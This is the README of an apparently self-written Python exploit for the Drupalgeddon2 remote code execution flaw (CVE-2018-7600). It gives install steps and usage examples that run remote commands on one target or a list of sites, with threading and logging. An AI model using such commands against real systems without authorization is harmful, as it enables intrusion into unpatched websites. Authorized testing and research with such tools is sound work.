
This repository contains a completely original and self-developed Proof-of-Concept (PoC) for CVE-2018-7600, also known as Drupalgeddon 2 — a critical remote code execution vulnerability affecting Drupal 7 and 8 core versions.
This repository contains a Python-based proof-of-concept exploit for the critical remote code execution vulnerability in Drupal, known as Drupalgeddon2 (CVE-2018-7600). This script is designed for educational purposes and for security professionals to use in authorized penetration testing scenarios.
This tool is intended for legal and ethical purposes only. Using this script on any system without explicit permission from the owner is illegal. The author and contributors are not responsible for any misuse or damage caused by this script. Use at your own risk.
requests librarycolorama librarygit clone <repository-url>
cd <repository-directory>
pip install -r requirements.txt
pip install requests colorama
The script offers several command-line arguments to customize its execution.
Exploit a single target with the default command (whoami):
python3 drupalgeddon2.py -t http://example.com
Exploit a single target with a custom command (e.g., ls -la):
python3 drupalgeddon2.py -t http://vulnerable-drupal.site -c "ls -la"
Scan a list of targets from a file:
Create a file named targets.txt with one URL per line:
http://site1.com
https://site2.org
http://site3.net
Then run the script:
python3 drupalgeddon2.py -l targets.txt
Scan a list with a custom command and increased threads:
python3 drupalgeddon2.py -l targets.txt -c "uname -a" -T 10
Save the output to a log file:
python3 drupalgeddon2.py -l targets.txt -o scan_results.log
| Argument | Short | Description | Default |
|---|---|---|---|
--target | -t | A single target URL. | - |
--list | -l | Path to a file containing a list of target URLs. | - |
--command | -c | The command to execute on the target. | whoami |
--threads | -T | Number of concurrent threads to use. | 5 |
--output | -o | File to log the output to. | - |
--timeout | Request timeout in seconds. | 15 |